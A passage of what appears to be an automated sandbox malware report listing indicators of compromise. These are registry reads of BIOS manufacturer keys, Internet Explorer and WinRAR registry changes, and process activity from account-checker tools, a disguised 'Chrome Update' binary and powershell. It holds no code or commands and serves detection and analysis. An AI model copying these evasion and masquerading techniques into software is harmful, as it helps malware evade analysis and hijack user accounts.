description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe -
Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\PhishingFilter iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\PhishingFilter\ClientSupported_MigrationTime = b58f5140abaed801 iexplore.exe -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" WinRAR.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch WinRAR.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{591BCFDB-2582-11ED-8D88-DEF0885D2AEB} = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\RepId iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" WinRAR.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000dfb0ccd4fedb0e4198e28dd1a4bf61e900000000020000000000106600000001000020000000089009d039544db2d66cd39ccbd92c9b3549aaa8ebe187c98ff359671c7f3aee000000000e800000000200002000000062370a86acd62be889b433f0bbe2b7d11b6f43871c7446ed24397ab8702ce33b20000000b5ef8e2c2e41471a890ebcdecb074bbc01a82e1e6a424a6be0bba9f1fcb0606240000000abe58ece5859e63d006d5f0134889c3e06aebfef3bf32194ae1dd4539d0ab367b48ba17eca0222450c6ec782e05693879bf3d5a876a53d4a3ce4e2c83e9b4207 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 206f827a8fb9d801 iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\RepId\PublicId = "{5AC87EE9-4ACA-4067-9D25-B79F0B26485F}" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "368312704" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\IESettingSync WinRAR.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30980495" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 5012f62e8fb9d801 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Main\DownloadWindowPlacement = 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e0272d2f8fb9d801 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000dfb0ccd4fedb0e4198e28dd1a4bf61e900000000020000000000106600000001000020000000b5163dafdf0dcac15c61b9183d8cbc50c6f289d1fa55146bc07a6ed868e9bc05000000000e800000000200002000000017e240a41aff5467925f41cd4f36e8cb112cbb4fc15ffbe993235b808072eaf62000000054d99228a6b4403714e2dc786d3f2dedf9149dc28737916819f41b99594b6f6140000000b7cfb0c41cc16e944504475f24e902d89b7de47e57a00731ef1deea51b6c8b1eae13d68870ecdd18d5b042fdee92a58f8e08f3063950262cbe4aff366ef3ba83 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "763438108" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "776638438" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a02f52478fb9d801 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "763438108" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\MINIE iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\VersionManager iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30980495" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30980495" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000dfb0ccd4fedb0e4198e28dd1a4bf61e90000000002000000000010660000000100002000000068d44b88e9fc33edff0d195a219d1e4ca1969e009b2e2b6fb79c43fc008c417e000000000e8000000002000020000000349ac3b00999336f9a5bc9ab7ffb88d28482b58723c4c8c336ee5dcc3625f5ac20000000404259e9f4f2412f63a8623a5403826c5f4532cc6b33f364e096a58f0d154bee40000000adfb2610f5cc5d4bc63ddaf26320890c197dcfbe0eb992c205231f9306248ec28037f53d4f303381a0104ef84a103a138b75df1a9898f742bd7d2fdd89191f78 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000dfb0ccd4fedb0e4198e28dd1a4bf61e900000000020000000000106600000001000020000000da06729604238cdcefc91bebdc8a6f72f3c585e7f74a9347c0b910dcc1f644c4000000000e8000000002000020000000160ce4af777c7153837366e33554ab3ff7239b0bcb8a1cf3ecaae93b9f5556012000000037f403dd0a8c62ca75b66e1803ba6da6235fd15ecb009e9dbf04b3fe7e92121940000000b80dae12ec5b25e038ec15aac335b372fe121a5ac1303ebe198a38e8d50b66ce5ac00850e89fe1fab2341166d6ae262be56bc93b200cae7bfedcf887b67dc79e iexplore.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 03000000020000000100000000000000ffffffff FastExecuteScript.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295" Spotify Checker by xRisky_protected.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r03 uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.r15\ = "WinRAR" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\DefaultIcon uninstall.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU Proxies Scraper - Checker by xRisky v1.0.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\DropHandler\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.txz\ = "WinRAR" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.zipx uninstall.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" FastExecuteScript.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU Spotify Checker by xRisky_protected.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\19\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" Proxies Scraper - Checker by xRisky v1.0.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA} uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.r03\ = "WinRAR" uninstall.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 FastExecuteScript.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 Spotify Checker by xRisky_protected.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.r11\ = "WinRAR" uninstall.exe Set value (str) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" Combo Editor by xRisky.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\3\1\NodeSlot = "19" Proxies Scraper - Checker by xRisky v1.0.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA} uninstall.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}" uninstall.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 Combo Editor by xRisky.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Mode = "4" Combo Editor by xRisky.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202 FastExecuteScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\InProcServer32 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\DragDropHandlers\WinRAR32 uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.r10\ = "WinRAR" uninstall.exe Set value (str) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\SniffedFolderType = "Documents" Combo Editor by xRisky.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ FastExecuteScript.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" FastExecuteScript.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell Spotify Checker by xRisky_protected.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4" Spotify Checker by xRisky_protected.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\InProcServer32\ThreadingModel = "Apartment" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bz uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\ = "WinRAR ZIP archive" uninstall.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1502147629-2175634256-330282290-1000\{E8B62880-D91B-4E1A-B570-9AD3D3331143} chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\ uninstall.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\3\0\0\0\0 = 60003100000000001a559aa910005349444444357e310000480009000400efbe1a559aa91a55a0a92e000000ef3102000000070000000000000000000000000000001d47100153004900440064006400350036003400310037006600000018000000 FastExecuteScript.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\3\0\0\0\0\0 = 54003100000000001a55b4a91000656e67696e6500003e0009000400efbe1a559aa91a55b4a92e000000f33102000000070000000000000000000000000000005e411a0065006e00670069006e006500000016000000 FastExecuteScript.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9 FastExecuteScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\ContextMenuHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\ uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\WinRAR uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shell\open uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shell\open\command\ = "\"C:\\Program Files\\WinRAR\\WinRAR.exe\" \"%1\"" uninstall.exe Set value (int) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1" Spotify Checker by xRisky_protected.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259} Spotify Checker by xRisky_protected.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.z uninstall.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202 Combo Editor by xRisky.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\ = "WinRAR archive" uninstall.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell Combo Editor by xRisky.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ WinRAR.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259} FastExecuteScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.taz\ = "WinRAR" uninstall.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\3 FastExecuteScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ WinRAR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.001 uninstall.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU FastExecuteScript.exe Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell Spotify Checker by xRisky_protected.exe Set value (data) \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff Spotify Checker by xRisky_protected.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\ContextMenuHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}\ uninstall.exe -
Opens file in notepad (likely ransom note) 3 IoCs
pid Process 2804 NOTEPAD.EXE 3396 NOTEPAD.EXE 5016 NOTEPAD.EXE -
Suspicious behavior: AddClipboardFormatListener 7 IoCs
pid Process 232 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 2000 SpotifyCheckerUltimate.exe 2256 FastExecuteScript.exe 2212 FastExecuteScript.exe 2776 SpotifyCheckerUltimate.exe 4088 FastExecuteScript.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2412 chrome.exe 2412 chrome.exe 4512 chrome.exe 4512 chrome.exe 2244 chrome.exe 2244 chrome.exe 2380 chrome.exe 2380 chrome.exe 4820 chrome.exe 4820 chrome.exe 948 chrome.exe 948 chrome.exe 3520 chrome.exe 3520 chrome.exe 3480 chrome.exe 3480 chrome.exe 4508 chrome.exe 4508 chrome.exe 3748 chrome.exe 3748 chrome.exe 1452 chrome.exe 1452 chrome.exe 3028 chrome.exe 3028 chrome.exe 2312 chrome.exe 2312 chrome.exe 2312 chrome.exe 2312 chrome.exe 3096 chrome.exe 3096 chrome.exe 2608 Combo Editor by xRisky.exe 4736 chrome.exe 4736 chrome.exe 2160 chrome.exe 2160 chrome.exe 2380 chrome.exe 2380 chrome.exe 4500 chrome.exe 4500 chrome.exe 800 chrome.exe 800 chrome.exe 4540 chrome.exe 4540 chrome.exe 3288 Chrome Update Services.exe 3288 Chrome Update Services.exe 1120 Google Chrome Update.exe 1120 Google Chrome Update.exe 4956 chrome.exe 4956 chrome.exe 1620 powershell.exe 1620 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 1620 powershell.exe 2608 chrome.exe 2608 chrome.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 2000 SpotifyCheckerUltimate.exe 2000 SpotifyCheckerUltimate.exe 2256 FastExecuteScript.exe -
Suspicious behavior: GetForegroundWindowSpam 7 IoCs
pid Process 4788 iexplore.exe 4088 FastExecuteScript.exe 2868 WinRAR.exe 448 WinRAR.exe 4692 Spotify Checker by xRisky_protected.exe 6500 Spotify Checker by xRisky_protected.exe 1248 Spotify Checker by xRisky_protected.exe -
Suspicious behavior: LoadsDriver 2 IoCs
pid Process 664 Process not Found 664 Process not Found -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs
pid Process 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe 1372 chrome.exe -
